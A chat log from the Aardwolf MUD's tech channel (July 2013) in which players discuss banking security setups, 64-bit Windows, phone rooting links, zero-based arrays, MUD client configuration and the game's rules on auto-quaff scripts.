T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daesilme Tech: Or, get a router (Asus is what I use), that has DDNS and VPN capabilities.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daesilme Tech: Anywho, off for bed.  TTFN
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: Would running Linux from a partition offer some/any/all of the security benefits of running it from a dedicated machine? for online financials stuff
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Ixle Tech: A partition isn't a different machine
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Ixle Tech: It is only a method of segmenting a physical drive
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: explain the use case please
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: But if it's a true-crypted partition, would that keep it from being accessible from any windows malware?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: Asked yesterday if it's even really worth it in this day and age, best "secure" way to do all online banking transactions...For someone who keeps their XP machine very clean/no junk/etc
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: Was using Sandboxie on an encrypted file container, but that stopped working..Tried VirtualBox, can't figure it out, using LiveCD is a real pain 
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: the data on that partition would not be accessible from a windows xp machine in that scenario, so a windows worm/trojan could not access it, but the partition could still be seen, so not quite as secure as if it was running on a different computer
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: So the partition should be encrypted..? We're not talking millions of dollars here, so anything more secure than even just being careful is fine :)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: I would encrypt it, there are windows drivers for some linux filesystems such as ext3
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you are really concerned, buy a little mini-atx box, toss some sort of *nix on it, and use it for nothing but banking.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: yeah, or one of those new usb sticks that runs android
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: or a raspberry pi
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Aterius Tech: How Do I Make The Mobile Client Turn On The Keyboard When  I AmDone With Typing ? 
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Ixle Tech: Bast, I'll defer to you on this but what about if Mush did his banking in a *nix/bsd VM?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: still not as secure as a physical box because windows will have access to the raw disk files, but if someone wants his data that bad, they will figure out how to get it
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Bast Tech: doing his banking in Linux with an encrypted partition (no matter vm, usb stick, physical box) is about as safe as you can get in this day and age
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mushambo Tech: Thanks for the help guys :)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: anyone in here have recent experience of sending a parcel by USPS Priority International from the USA to the UK?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: wow its amazing what a big difference 64bit does
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: not much difference at all unless you've got extra RAM
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: you kidding? when I ran 32bit on minecraft I used to get 12-19 frames. now I'm running 65fps
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: on pc?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: that's not 32 vs 64 bit
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: duh on pc
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: it still made my pc faster
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: probably just from reformatting the hard disk as part of the new OS install
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: 64 bit only really makes a difference if you have more than 4 GB RAM 
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: nope still got all my old files including my 32bit windows
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: I never entirely wiped it
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: how much RAM?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: 2gb
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Vost goes, "Hmmmm."
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: ok but you guys know the windows experience index?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: my Points went from 3.5 to 4.1
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what is your lowest rubric?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: 64 bit isn't faster, it just addresses more memory...any "speed increase" is because of cruft you were running on the old OS that you're not running now, and because you might come across a piece of software that is compiled in a more-optimized way for 64-bit...the bulk of software is compiled to be optimized for 32 bit and will be slower on 64 bit
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: cpu?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: wow good guess. yes my cpu
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: then it is what abe said
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure abes comments need my OK though :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: well it still took me by suprise
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: I didn't even think my cpu could do 64bit
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: lol who knew a pentuim 4 could do 64bit
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: heh, my 166 MHz AlphaStation from 1994 runs a 64-bit OS :-)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: which OS?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: I'm a NetBSD guy
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: ok
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: the alphas have a CPU-based 32-bit compatibility, so don't need something like Windows's WoW64 to run 32-bit code, but it slows it down something fierce
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: does anyone know why microsoft brought back the activate over phone option in win8?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: prolly for the same reason they brought back the start menu (kind of)...people bitched
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: I got angry that they took it away. I was about to sue em. and then they made 8.1 lol
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol brought back start button by giving you a bitter placebo
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: I don't think I'll bother with Windows 8 
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Ayasinda is agreeing with that Vost person again...
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am slowly getting used to it
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have noticed that it does boot noticably faster
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vost Tech: then again, I am using a Pentium 3
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it will boot slow :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: heh, let me know when you can delete/modify an offline wifi network without the command line
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: to me the start button in win8 is like trying to right click on any apple machine
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Macs have always supported right-click
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Hollister rapidly nods twice, in complete agreement.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod but a single button mouse doesn't
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: unless i am missing somethng
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: I don't worry about the start in win8 I found a Mod that puts it back
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Vorpal Vorpes checks for pants.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: aye, the old cmd-click (or ctrl-click?)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod i have noticed that the mod 'breaks' if you go to shutdown and then abort though
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: Apple's been shipping multi-button mice for quite a few years, but most people used a Kensington or Logitech anyway
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hollister Tech: mine doesn't break
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: have a bunch of programs open and shut down. then when it gives you the option to abort shutdown do it and see if you still have a start button
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: but yea the mod does help
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so does windowskey+X
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: should i upgrade from 10g firmware to v20 firmware on my lg phone? cant find a changelog.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: "lg phone" ... cuz that's specific...
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: android?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: an lg p769 optimus w. androod
T3/r7/2013-07-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: He just logged off.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: android
T3/r7/2013-07-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: don't have the bandwith to look it up, but it depends on what you want to do with the phone. if your into unlocking bootloaders, modding, custom roms, ROOTING, then firmware updates can get rid of that flexibility (i know from experience). if it's just casual use, no powerusing or overclocking, then firmware updates tend to be good for that
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not even true :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Any decent toolchain keeps up to date with firmware releases
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lrn2root
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, id love to put cm9 on it, but the phone seems unrootable if i want video support
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If it's a week old firmware release, rooting probably isn't possible (yet), but anything 2+ weeks old usually gets exploited pretty quickly :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, the 10g is npt even well rootable yet
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://forum.xda-developers.com/showthread.php?t=2305945
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It's rootable, I did it not even 3 hours ago at work :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Btw. ParanoidAndroid > CM
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: i was stuck with a sony xperia locked bootloader but rooted with a lot of hassle. i upgraded to the official jellybean update and now i'm unrooted and it's pretty much impossible to root/unlock. (last i checked webs was about 3 months ago). It all depends on the company and carrier
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, did you use the offline flashing method?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: 3months hahahahaha if you think it's still not rootable, you're jsut being ignorant :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: crua, im already network unlocked thanks to jose at  customer service.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://forum.xda-developers.com/showthread.php?t=2283673
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: aye, but i'm cheap.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: And as for unlocking the bootloader, that's extremely simple. --> http://unlockbootloader.sonymobile.com/
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: its an lg not a sony?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Wasn't linking that for you.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: oh. what phone did you do at work?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: that's the problem. my carrier/phone combination doesn't support the official way of unlocking the phone
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Optimus
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: trust me, i've done my homework, i just gave up a while back
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well, that was one of them
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, how?????
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I linked you how
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Your homework was done incorrectly, then.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i thought you said i didnt link that for you ..grr
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: his first link was for you, vampiredude...after that he linked sony stuff for crua
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Dude, pay attention to the whole conversation and when you're answered use it. I linked it a while back, then linked something else for Crua.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: tech -h http
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yeah
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: tryin to read it now. 59545 thingy
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: VD: Also --> http://forums.androidcentral.com/lg-optimus-s-rooting-roms-hacks/
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It really is as simple as googleing "optimus p749 root"
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: mne is p769 rememb free r
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: remember B)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Typo, bro :p
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: freaking google keyboard
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, google results make 10g look unrootable.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: yup googling is the best solution, reason i'm not looking up anything myself tho is im tethered to a 2g network with a very small data allowance. don't be mad! :)
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: that offline lelus method didnt work. so i dunno what you used.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no worries.. the first link you gave seemed to talk about cm nightloes
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So I used "how to root lg optimus l9 p76910g" as my search phrase this time, and the 2nd link is --> http://androidforums.com/optimus-l9-all-things-root/712986-working-method-rooting-lg-p76910g-tested.html Methinks your google-fu just sucks :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it DOES work
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ill google more, but maybe its my saved search history
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: not likely
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez. that link just links back to the same xda method i already tried
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: did it work for you on the first try?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: when i tried it, i  got caught when the adb push wouldnt send the modified busybox thingy
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and also i tried three different drivers for the device w. no avail
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ill check out the paranoidroid though thanks
T3/r7/2013-07-25.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the arrays start from 0.. why? humans don't think that way
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Tech: because humans don't process arrays
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: in some languages 0 can count as false, so it's a handy workaround for some things i guess
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Turie Tech: Humans do not like 0.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hwua, humans  dont think at all. look at how fast they follow bush, or hitler, or castro
T3/r7/2013-07-25.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: whats that got to do with arrays starting from 0?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Turie Tech: The number 0 has been around only since 250 AD.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: exactly! its being overused now
T3/r7/2013-07-25.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: because of the novelty of it
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it goes backto how people think. but arrays should start on neutral ground, like 0
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mye Tech: it's a lot of fun when you have the client using 0 based array when the server uses 1 based arrays
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: as in the programming language
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: its like how a line source can start at zero
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: not as in the spoken language
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Turie Tech: Just open your mouth and not saying a word represents 0.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Flak Tech: but the open/closed state on your mouth represents 1
T3/r7/2013-07-25.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i believe that most arrays still contain stuff a human would think as, "all right, the first apple is red"
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, if i start with zero eggs and count to a dozen?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: or 0!
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Flak Tech: not saying you're wrong, just saying :P
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: turie ah like when they flooded the tubes but didnt open them in red october
T3/r7/2013-07-25.txt.gz:{chan ch=tech}StarsOscar Tech: real programmers don't use number-indexed arrays they use lists
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: dont lists take more clocktime to search than arrays?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Turie Tech: Think of your pie whole as a 0. It takes the shape of it.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}StarsOscar Tech: if you need to search a lot you should use a dictionary
T3/r7/2013-07-25.txt.gz:{chan ch=tech}(Awesome) Crua Tech: aggreed
T3/r7/2013-07-25.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: meh no more happyness pie. too much econ thoughts
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mayelain Tech: is here a command to enable telnet IAC GA?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Hanslanda Tech: that should be happening automatic-like, so what client are you using?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Mayelain Tech: tintin++ but I don't see it is present in the debug stream
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: do you have to install mushclient or can you run it from an unzipped file on a usb drive?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: unzip and run from usb
T3/r7/2013-07-26.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: its made that way for that very reason
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: thanks Gladacus
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: i'll have to do that for the next time i go wandering
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I prefer the dropbox approach
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: Vakieh is that so that you always have all your databases etc up to date?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Indeed - also usb drives are more loseable
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: yes... i keep leaving mine in the work machine at home time
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Leinei Tech: do like I do...stick it on your keychain.  Then you can't leave without it
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Gaelehad Tech: except when i'm walking not driving :D perks of living in a small town
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Ontuct Tech: when I open aardmush it keeps telling me it is the first time I have used mushclient on this pc, gives me a tip then does nothing I need to open a world, and pick aardwolf, what setting has been maladjusted?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Ontuct Tech: the font in the command entry box has also been switched to bold... any ideas?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Aterius Tech: I'm trying to setup mush on laptop...how do I use the arrow keys to move ?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Aterius Tech: And can someone recommend a good looking font as well?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Courier is the font I use
T3/r7/2013-07-26.txt.gz:{chan ch=tech}BobTheGreat Tech: And to get arrow keys to work, press ctrl+shift+1 and set the right ones, then have numlock on and use your numpad
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Tech: he's on a laptop, likely doesn't have a numpad hence looking to use arrow keys
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Tech: I'd suggest using something like ctrl-arrow keys (or alt) rather than just arrow keys, simply because that would allow you to still use your arrow keys to edit the command line...http://code.google.com/p/aardwolfclientpackage/wiki/Macros for info on how to configure them
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hollister Tech: hey, just wanna know but does anyone remember the good ol'Monkey island series?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Grissom Tech: i do
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Yep. Howso?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hollister Tech: Getting myself Curse of Monkey island again. the third in the series
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hollister Tech: at home ofcourse
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Varas Tech: Anyone here record any music (vocals/guitar/whatever) through a mac?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Tech: not since digidesign pro tools ruled the world
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Book of Etzli Tech: So I have a problem here. I saw this animated gif online that I thought was really cool, so I printed it up. But it doesn't move on the paper I printed up. What am I doing wrong?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Tigernuts Tech: you need special paper
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Flak Tech: lol etzli
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, what paper do I need?
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hanslanda Tech: you need some of that new e-paper.
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Flak Tech: animation paper :)
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Figures.
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Tech: Tigernuts nods at Hanslanda.
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks for the input then. Guess I'll search for "e-paper"...
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hanslanda Tech: it's that new flexible display media that allows them to embed videos and animations in magazines.
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Flak Tech: thatd actually be amazing if they could do that
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Hanslanda Tech: they can do that.
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Flak Tech: somebody make that
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Ayasinda Tech: they can
T3/r7/2013-07-26.txt.gz:{chan ch=tech}Flak Tech: of course your magazine subscription price would probably triple
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Dagfib Tech: So, I haven't been on in a while, so I can't recall, how do you remove the tags cmud shows?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Dagfib Tech: for example, before the tech channel it displays {chan ch=tech}
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Daloran Tech: tags off, turns them off. but they are needed for things if you use mush client with aard plugins, or other things
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Dagfib Tech: ty, I probably used to use aardclient at some point
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Dagfib Tech: but for now running cmud *shrug*, so thanks for the help
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Daloran Tech: np
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Daloran Tech: easy enough to turn back on if you need to
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Dagfib Tech: same thing i was thinking, tossed it on a post-it hehe
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Daloran Tech: fun
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Sweetchickx Tech: Anyone know how to change character limit when setting up speedwalk directions using blowtorch? Or is the only way to bypass the limit, setting the directions from config file 
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Tigernuts Tech: here's a technical question, what is the best quality brand of cowboy hat? :-)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Digitalis Tech: heh...I have a stetson and I think a Los Altos
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Digitalis Tech: the Stetson new, might have been around $200-250
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Digitalis Tech: the Los Alots around $350
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Digitalis Tech: Los Altos even
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Aterius Tech: the entire window in the androidcclient,  when intouch a button,  scrolls up down incan getvthe buttons to work its one bigbgiant scroll fest
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I had that problem too on my N4 until I switched to the perpetually unreleased blowtorch beta 
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Hollister Tech: aarrgh shiver me timbers. I'm Guybrush threepwood. and I stupidly gave my girlfriend Elane a giant cursed Voodoo ring!
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: is there a way to create a window in aard mush for a particular channel?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: like the clanchannel
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Turie Tech: You can change the Communication Log's ID and just have that mini-window run clantalk.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Turie Tech: Make another plugins another words.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: ok, is that hard to do?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Turie Tech: Oh, you need to rename the file name for the copy.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: okay...... could name it clantalk
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Turie Tech: The plugin, not the title.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: yes, thanks Turie
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: how do I lock my aardowlf layout in aardmush?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: aard layour lock?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: yes
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: layout*
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: anybody know of a autoquaffing potion script/plugin?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Tymas Tech: that isn't allowed i think
T3/r7/2013-07-27.txt.gz:{chan ch=tech}RedRain Tech: help botting
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Flach Tech: Yeah, that crosses the line between "OK" and "Completely stupid"
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: okay nm then........
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: auto-quaff scripts are legal
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: how can it be legal?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}RedRain Tech: Auto-heal/Auto-cast:
T3/r7/2013-07-27.txt.gz:{chan ch=tech}RedRain Tech: Technically, these are both legal on their own.  However, as soon as you're
T3/r7/2013-07-27.txt.gz:{chan ch=tech}RedRain Tech: afk and fighting (in a group, accidentally afk with aggressive monsters),
T3/r7/2013-07-27.txt.gz:{chan ch=tech}RedRain Tech: it's considered botting.  Use a macro/button you have to type/click.
